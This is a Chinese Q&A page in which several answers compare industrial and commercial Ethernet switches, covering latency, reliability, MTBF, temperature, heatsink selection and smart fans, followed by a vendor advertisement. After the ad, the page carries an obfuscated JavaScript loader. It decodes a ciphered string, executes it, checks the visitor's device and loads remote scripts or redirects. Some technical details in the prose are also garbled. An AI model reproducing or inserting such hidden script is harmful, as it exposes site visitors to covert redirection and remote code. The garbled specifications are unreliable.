推荐回答(4个)
工业以太网交换机和商用以太网交换机的区别
工业以太网交换机与商用交换机在数据交换功能上基本一致,但在设计上以及在元器件的选用上,产品的强度和适用性方面更能满足工业现场的需要。
此外在模块扩展方面也表现的比商用交换机更为灵活: 有多种光口和电口可供选配。在材质的选用、产品的强度、适用性以及实时性、可互操作性、可靠性、抗干扰性和本质安全等方面能满足工业现场的需要。
工业级设计一般在设计上满足:工业宽温设计,4级电磁兼容设计,冗余交直流电源输入。另外PCB板一般做“三防”处理。
为什么工业现场要选用合适的工业以太网交换机,而不能用便宜的商用交换机来代替?我们可以从以下几个方面确定在工业现场选用工业以太网交换机的必要性。
1、 确定性
由于以太网的MAC层协议是CSMA/CD,该协议使得在网络上存在冲突,特别是在网络负荷过大时,更加明显。对于一个工业网络,如果存在着大量的冲突,就必须得多次重发数据,使得网间通信的不确定性大大增加。在工业控制网络中这种从一处到另一处的不确定性,必然会带来系统控制性能的降低。
2 、实时性
在工业控制系统中,实时可定义为系统对某事件的反应时间的可测性。也就是说,在一个事件发生后,系统必须在一个可以准确预见的时间范围内做出反映。然而,工业上对数据的传递的实时性要求十分严格,往往数据的更新是在数十ms内完成的。而同样由于以太网存在的CSMA/CD机制,当发生冲突的时候,就得重发数据,最多可以尝试16次之多。很明显这种解决冲突的机制是以付出时间为代价的。而且一但出现掉线,那怕是仅仅几秒种的时间,就有可能造成整个生产的停止甚至是设备,人身安全事故。
3、可靠性
由于以太网在设计之初,并不是从工业网应用出发的。当它应用到工业现场,面对恶劣的工况,严重的线间干扰等,这些都必然会引起其可靠性降低。在生产环境中工业网络必须具备较好的可靠性,可恢复性,以及可维护性。即保证一个网络系统中任何组件发生故障时,不会导致应用程序,操作系统,甚至网络系统的崩溃和瘫痪。
工业以太网交换机在设计的时候就考虑到了工业现场的复杂情况,从而能更加适应工业环境而发挥交换机的作用。
工业以太网交换机和普通交换机的区别主要体现在功能和性能上。
工业现场的环境比普通环境都要恶劣,至少在震动,湿气,温度上都要比普通环境恶劣,普通交换机在设计上没有抵御在工业环境中出现的各种情况的能力,普通交换机不能长时间工作在这种恶劣环境下,经常容易出现故障,更使维护成本上升,一般不建议在工业环境中使用商业交换机,为了能使交换机在这种恶劣环境中使用,故生产出能适应这种环境的交换机,工业级别的交换机的可靠性有电源故障,端口中断,可由继电器输出报警,冗余双直流电源输入,主动式电路保护,过压、欠压自动断路保护,(可靠性根据型号的不同略有不同)
功能上的区别主要是指:工业以太网交换机在功能上与工业网络通讯更接近,比如与各种现场总线的互通互联、设备的冗余以及设备的实时等;而性能上的区别则主要体现在适应外界环境参数的不同。工业环境除了有很多如:煤矿、舰船等特别恶劣的环境外,还有在EMI(电磁兼容性)、温度、湿度以及防尘等方面有特殊要求的环境。其中温度对工业网络设备的影响面是最广泛的。
本文主要论述温度这一重要参数对工业网络交换机的影响。而对于功能方面以及性能其他方面的参数这里不再赘述。
一、衡量设备可靠性的指标
可靠性是指产品在规定的条件下和规定的时间内,完成规定功能的能力。任何产品不论是机械、电子,还是机电一体化产品都有一定的可靠性,产品的可靠性与实验、设计和产品的维护有着极大的关系。
衡量可靠性的指标很多,常见的有以下几种:
1.可靠度R(t),即产品在规定条件下、规定时间内完成规定功能的概率,亦称平均无故障时间MTBF(mean time between failure);
2.平均维修时间MTTR是指产品从发现故障到恢复规定功能所需要的时间;
3.失效率λ(t),是指产品在规定的使用条件下使用到时刻t后,产品失效的概率。产品的可靠性变化一般都有一定的规律,其特征曲线形状像浴盆,通常称之为“浴盆曲线”。在实验和设计初期,由于产品设计制造中的错误、软件不完善以及元器件筛选不够等原因而造成早期失效率高;通过修正设计、改进工艺、老化元器件、以及整机试验等,使产品进入稳定的偶然失效期;使用一般时间后,由于器件耗损、整机老化以及维护等原因,产品进入了耗损失效期。这就是可靠性特征曲线呈“浴盆曲线”型的原因。衡量一个电子产品、尤其是工业类产品最常用的是MTBF,也就是平均无故障时间。
二、温度和MTBF的关系
由于现代电子设备所用的电子元器件的密度越来越高,这将使元器件之间通过传导、辐射和对流产生热耦合。因此,热应力已经成为影响电子元器件失效率的一个最重要的因素。对于某些电路来说,可靠性几乎完全取决于热环境。所以,为了达到预期的可靠性目的,必须将元器件的温度降低到实际可以达到的最低水平。有资料表明:环境温度每提高10℃,元器件寿命约降低1/2。这就是有名的“10℃法则”。
MTBF测试:目前国外广泛采用Bellcore的RPP(Reliability Prediction Procedure)来测量设备的MTBF,这其中包括晶体管数量、功率衰减以及环境参数。我们分析其中用风扇散热的24口网络交换机的检测报告,在环境温度为30℃,40℃,50℃时,无风扇交换机和有风扇交换机的测试结果为:
30℃ 40℃ 50℃
无风扇散热 10年 9.5年 8年
有风扇散热 8年 7.5年 7年
另外,我们通过TSC实验室的温度测试中还发现了两个结果:
1.如果不采用任何散热措施,一台24口的交换机(不含光口)正常工作4小时后,它的机内温度要比周围的环境温度高约40℃;而采用风扇降温的同样的交换机的机内温度只比周围的环境温度高约15℃。
2.机内温度达到85℃时,实际上温度已经开始影响到了机内主板很多芯片器件的寿命,也就是说,如果不采用很好的散热措施,在外部环境温度为45~50℃时,交换机的MTBF会大大下降。
由此可见,温度对于工业网络产品的影响是非常大的,如果像商用交换机一样采用风扇降温,能够有效降低机内温度而延长设备的MTBF,但风扇本身的寿命又非常有限(2.28年)(由SANYO FAN DATA SHEET 给出的数据)。
工业类设备不同于商用设备,往往是一开机就常年运行,而且运行的环境也往往较恶劣,沙尘、昆虫、潮湿都会直接影响风扇的运行。一个质量好的交换机,风扇使用寿命一般在20000小时,风扇到了年限以后,检测并更换就变得非常重要。因为主动散热性交换机在设计时散热主要就是靠风扇散热,一旦风扇失效而不及时更换,“10℃法则”将会起作用:机内环境温度每提高10℃,元器件寿命就降低1/2。交换机的机内积热将会快速导致交换机性能的下降,直至交换机崩溃。因此,工业交换机的散热系统设计,也就是热设计就显得尤为重要了。
三、热设计
正是由于过高温度对工业网络设备的影响是致命的,所以在设计这类产品时,除了设备的元器件要选择宽温度范围的工业级元器件外,更要充分重视设备的热设计。
电子产品的热设计主要包括散热、加装散热器和制冷三类技术,这里笔者主要讨论工业网络设备中的散热技术和加装散热器技术。
(一)散热应用中常采用的方法
第一种是传导散热方法,可选用导热系数大的材料来制造传热元件,或减小接触热阻并尽量缩短热路径。
第二种是对流散热方式,对流散热方式有自然对流散热和强迫对流散热两种方法。自然对流散热应注意以下几点:
l 设计印制板和元器件时必须留出多余空间;
l 安排元器件时,应注意温度场的合理分布;
l 充分重视应用烟囱拨风原理;
l 加大与对流介质的接触面积。
强迫对流散热方式可采用风机(如计算机上的风扇)或双输入口推拉方式(如带换热器的推拉方式)。
第三种是利用热辐射特性方式,可以采用加大发热体表面的粗糙度、加大辐射体周围的环境温差,或加大辐射体表面的面积等方法。
(二)加装散热器
工业电子类设备在热设计中,最常采用的方法是加装散热器,其目的是控制半导体的温度,尤其是结温Tj,使其低于半导体器件的最大结温Tjmax,从而提高半导体器件的可靠性。半导体器件和散热器安装在一起工作时包含:半导体器件内热阻RTj、结温Tj、壳温Tc、散热器温度Tf、环境温度Ta及半导体器件的使用功率Pc。
散热器的热阻RTf应为:RTf=(RTj-Ta)/Pc-RTj-RTc
散热器热阻RTf是选择散热器的主要依据。Tj、RTj是半导体器件提供的参数,Pc是设计要求的参数,RTc可以从热设计专业书籍中查到。下面介绍一下散热器的选择。
1.自然冷却散热器的选择
首先计算总热阻RT和散热器的热阻RTf,即:
RT=(Tjmax-Ta)/Pc
RTf=RT-RTj-RT。
算出RT和RTf之后,可根据RTf和Pc来选择散热器。选择时,根据所选散热RTf和Pc曲线,在横坐标上查出已知Pc,再查出与Pc对应的散热器的热阻R'Tf。
按照R'Tf≤RTf的原则,选择合理的散热器即可。
2.强迫风冷散热器的选择
强迫风冷散热器在选择时应根据散热器的热阻RTf和风速来选择合适的散热器。
3.散热风扇的设计
普通商用交换机的风扇,工作一直处于全速(Full SPD)状态,除其造成电能浪费、增大整机噪音外,还会增加不必要的电源发热,机箱内灰尘过多堆积等。更重要的是风扇在全速状态时其寿命约为2万小时,也就是2.28年(由SANYO FAN DATA SHEET 给出的数据),2万小时后风扇转速会逐渐下降,给整机带来不稳定因素。但由于没有监控单元,这种隐患很难发现:例如当交换机丢包率逐渐上升时,并不容易查到是由于风扇老化转速降低及灰尘堆积太厚导致机箱内关键部件温度升高所致。
工业交换机应使用高速(High SPD)风扇并带有智能监控电路,实时监测和控制网络交换机的运行状况,例如监控机箱风扇、主交换芯片温度、机箱温度,光收发器件温度等,这也就是我们所说的“智能风扇”。
交换机工作过程中智能监控电路会根据被测元件的温度或风扇转速信号自动调节风扇转速,给网络交换机散热。风扇的转速主要与交换机负载和环境温度有关。在环境温度一定时,当交换机数据负载减轻时,功耗减小,风扇转速自动降低,当交换机数据负载加重时,功耗加大,风扇速转速自动上升。在数据负载一定的情况下,当交换机处在低温环境时,风扇转速自动降低,处在高温环境时风扇转速自动升高。在高温高负载情况下,风扇可处在应急高速(High SPD)状态,比全速(Full SPD)状态更能保证网络安全运行。
4.智能风扇控制器运行特性
采用智能风扇控制技术后可延长风扇寿命,减少机内灰尘堆积、降低风扇噪声,节约电量使用,保证系统有效工作。另外控制器不仅能对风扇失效停转、温度超过警戒线提供报警,而且对于由于老化或风道阻力异常增大、转速低于正常值或监测点温度异常升高等前期隐患均能给出相应的中英文语音提示,方便网络管理人员将事故消灭在萌芽阶段。
综上所述,由于工业以太网交换机所处的环境的特殊性以及使用时的特殊性(不能停机),在对付高低温,主要是高温环境时采用的对策与普通交换机有很多不同的。
(1)对于较低功率情况,一般P≤10W时,尽量不采用风扇散热,而采用自然散热,如果通过自然对流,或者增大外壳面积、外壳褶皱,或者采用导热较好的型材,如铝等。
(2)对于功率较大情况,P≥15W时,尤其是有多个光口,甚至是多个单模光口的情况下,不能靠自然散热解决问题时,应该采用主动散热方式解决热问题。而主动散热方式目前主要是指加装风扇,但由于工业网络设备不能停机且要长期运行的特殊性,风扇的使用应有如下考虑。
①风扇不同于普通电子设备的风扇,它应是智能的,智能风扇在使用寿命以及功能上与普通风扇有质的区别。
②智能风扇应设计为可以热插拨的,也就是在系统不停机情况下,如果智能风扇系统报警(工作寿命到期等)情况下,可以在线更换风扇。采取了以上热设计和散热措施,就可以大大提高网络设备的MTBF,延长其寿命,从而避开法则,使工业网络设备的元器件长期工作在一个“稳定,舒适”的温度环境中,这样“10℃法则”就不起作用,这样也就保证了自动化过程中通讯系统的稳定和可靠性。

1. 超强抗干扰性
工业交换机具有很强的抗干扰功用,比如在防雷、防水、防腐蚀、防静电等方面都有较高的防护等级,但是商业交换机则不具有这些功能。
2. 采用工业级元器件
工业交换机对产品的元件要求很高,经得起恶劣环境的考验,因此能比较好地适应工业环境。
3. 使用寿命长
工业交换机从外壳到元器件都采用工业级方案,因此产品的可靠性更高,使用失效更长,一般能超过10年,普通商用交换机的使用寿命大致为3-5年。
4. 宽温工作
工业交换机一般采用金属外壳,散热更好,防护性更强,基本能满足-45~+75℃的温度范围内可以正常工作,能够适应复杂的温度和湿度,但是商用交换机的工作范围相对而言较为狭窄。
5. 快速冗余
工业交换机一般具有快速环网、冗余的功能,冗余时间小于20ms。虽然商用产品也可以组成冗余网络,但治愈时间达10-30s以上,时间太久,工业环境不适用。
总之,工业交换机和普通交换机是有很大区别的。在工业交换机这产品设计上,它的设计要求和对零件的选择上是有要求的,因为工业交换机它所面向的工作环境是比较恶劣的,例如阴暗潮湿的地方,或比较闷热的地方,所以常常是运用于条件较为恶劣的地方。
工作环境的承受能力,内部器件的应用,外壳的材质等都是有区别的,呵呵!
1、外观区别
工业交换机一般来说使用无风扇的外壳风扇模式,而且基本上是使用金属外壳,强度较为高,普通交换机一般来说使用塑料材质外壳,强度较高,而且使用风扇散热模式。
2、使用环境能力不完全相同
工业交换机适应的工作温度可达低温40℃到85℃,而且防尘与防湿能力出众,防护级别在IP40以上,使用范围较为普遍,可适应任何险恶条件下安装使用。普通交换机工作温度一般来说在0℃到50℃,基本没有防尘与防湿能力,防护级别较为差,而且具备POE电源管理工作功能。
3、使用寿命有所不同
工业互相交换的使用寿命一般来说在10年以上,而普通商用交换机的使用寿命只有3到5年,使用寿命的有所不同关系到工程中期的维护,所以,一般来说在公园、办公大楼、停车场等网络监视环境中的视频传输以及那些必须高清视频输出的环境中,应该选用工业交换机或者性能需要于工业级媲美的交换机。
4、其他参照指数
工业交换机与普通交换机的使用电压有所不同,工业交换机可以限于DC24V、DC110V、漫威/AC220V几种电压,而普通交换机只能在AC220V电压下工作,而且工业交换机主要以环网模式居多,相应缩减线路的使用和维护成本。

飞畅科技,专业做光端机、光纤收发器、工业交换机、协议转换器的厂家,自主研发品牌,欢迎前来了解、交流。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();